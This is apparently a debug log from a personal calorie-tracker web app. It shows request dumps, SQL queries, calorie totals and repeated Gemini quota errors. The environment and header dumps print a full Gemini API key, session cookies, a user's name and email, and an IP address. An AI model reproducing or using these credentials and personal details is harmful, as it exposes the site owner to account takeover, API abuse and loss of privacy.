    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '157.48.253.200',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.253.200',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '157.48.253.200',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-13T06:02:28.950Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-13T06:02:28.950Z server-connect:app Executing action step identify
2025-12-13T06:02:28.950Z server-connect:app options: { provider: 'security' }
2025-12-13T06:02:28.950Z server-connect:output identity: 1
2025-12-13T06:02:28.950Z server-connect:app Executing action step restrict
2025-12-13T06:02:28.950Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:02:28.951Z server-connect:output restrict: undefined
2025-12-13T06:02:28.951Z server-connect:app Executing action step single
2025-12-13T06:02:28.951Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-13T06:02:28.953Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-13T06:02:28.953Z server-connect:app Executing action step select
2025-12-13T06:02:28.953Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-13T06:02:28.956Z server-connect:output item_list: []
2025-12-13T06:02:28.956Z server-connect:app Executing action step setvalue
2025-12-13T06:02:28.956Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-13T06:02:28.956Z server-connect:output var_total: 0
2025-12-13T06:02:28.956Z server-connect:app Executing action step setvalue
2025-12-13T06:02:28.956Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-13T06:02:28.956Z server-connect:output var_consumed: 0
2025-12-13T06:02:28.956Z server-connect:app Executing action step setvalue
2025-12-13T06:02:28.956Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-13T06:02:28.956Z server-connect:output var_deficit: 2400
2025-12-13T06:02:28.956Z server-connect:app Executing action step custom
2025-12-13T06:02:28.956Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-13T06:02:28.958Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  }
]
2025-12-13T06:02:32.890Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-13T06:02:32.890Z server-connect:app Executing action step identify
2025-12-13T06:02:32.890Z server-connect:app options: { provider: 'security' }
2025-12-13T06:02:32.891Z server-connect:output identity: 1
2025-12-13T06:02:32.891Z server-connect:app Executing action step restrict
2025-12-13T06:02:32.891Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:02:32.891Z server-connect:output restrict: undefined
2025-12-13T06:02:32.891Z server-connect:app Executing action step processWithGemini
2025-12-13T06:02:32.891Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
Error processing calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\nPlease retry in 27.043688431s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerDay-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerMinutePerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerMinute-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"27s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
2025-12-13T06:02:32.982Z server-connect:output Error at calculate_calorie: Error: Failed to process calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\nPlease retry in 27.043688431s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerDay-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerMinutePerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerMinute-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"27s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:143:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-13T06:02:32.982Z server-connect:server Got error? Error: Failed to process calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\nPlease retry in 27.043688431s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerDay-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerMinutePerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerMinute-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"27s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:143:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-13T06:11:17.980Z server-connect:router Serving templateView /calorie-tracker
2025-12-13T06:11:17.981Z server-connect:app Executing action step identify
2025-12-13T06:11:17.981Z server-connect:app options: { provider: 'security' }
2025-12-13T06:11:17.981Z server-connect:output identity: 1
2025-12-13T06:11:17.981Z server-connect:app Executing action step restrict
2025-12-13T06:11:17.981Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T06:11:17.982Z server-connect:output restrict: undefined
2025-12-13T06:11:17.982Z server-connect:router Render template layouts/main
2025-12-13T06:11:17.983Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '157.48.253.200',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.253.200',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '157.48.253.200',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-13T06:11:18.471Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T06:11:18.473Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T06:11:18.474Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-13T06:11:18.476Z server-connect:app Executing action step identify
2025-12-13T06:11:18.476Z server-connect:app options: { provider: 'security' }
2025-12-13T06:11:18.476Z server-connect:output identity: 1
2025-12-13T06:11:18.477Z server-connect:app Executing action step restrict
2025-12-13T06:11:18.477Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:11:18.479Z server-connect:app Executing action step identify
2025-12-13T06:11:18.479Z server-connect:app options: { provider: 'security' }
2025-12-13T06:11:18.479Z server-connect:output identity: 1
2025-12-13T06:11:18.479Z server-connect:app Executing action step restrict
2025-12-13T06:11:18.479Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:11:18.481Z server-connect:output restrict: undefined
2025-12-13T06:11:18.481Z server-connect:app Executing action step single
2025-12-13T06:11:18.481Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T06:11:18.481Z server-connect:app Executing action step identify
2025-12-13T06:11:18.481Z server-connect:app options: { provider: 'security' }
2025-12-13T06:11:18.481Z server-connect:output identity: 1
2025-12-13T06:11:18.481Z server-connect:app Executing action step restrict
2025-12-13T06:11:18.481Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:11:18.482Z server-connect:output restrict: undefined
2025-12-13T06:11:18.482Z server-connect:app Executing action step select
2025-12-13T06:11:18.482Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T06:11:18.482Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T06:11:18.483Z server-connect:output restrict: undefined
2025-12-13T06:11:18.483Z server-connect:app Executing action step single
2025-12-13T06:11:18.483Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-13T06:11:18.488Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
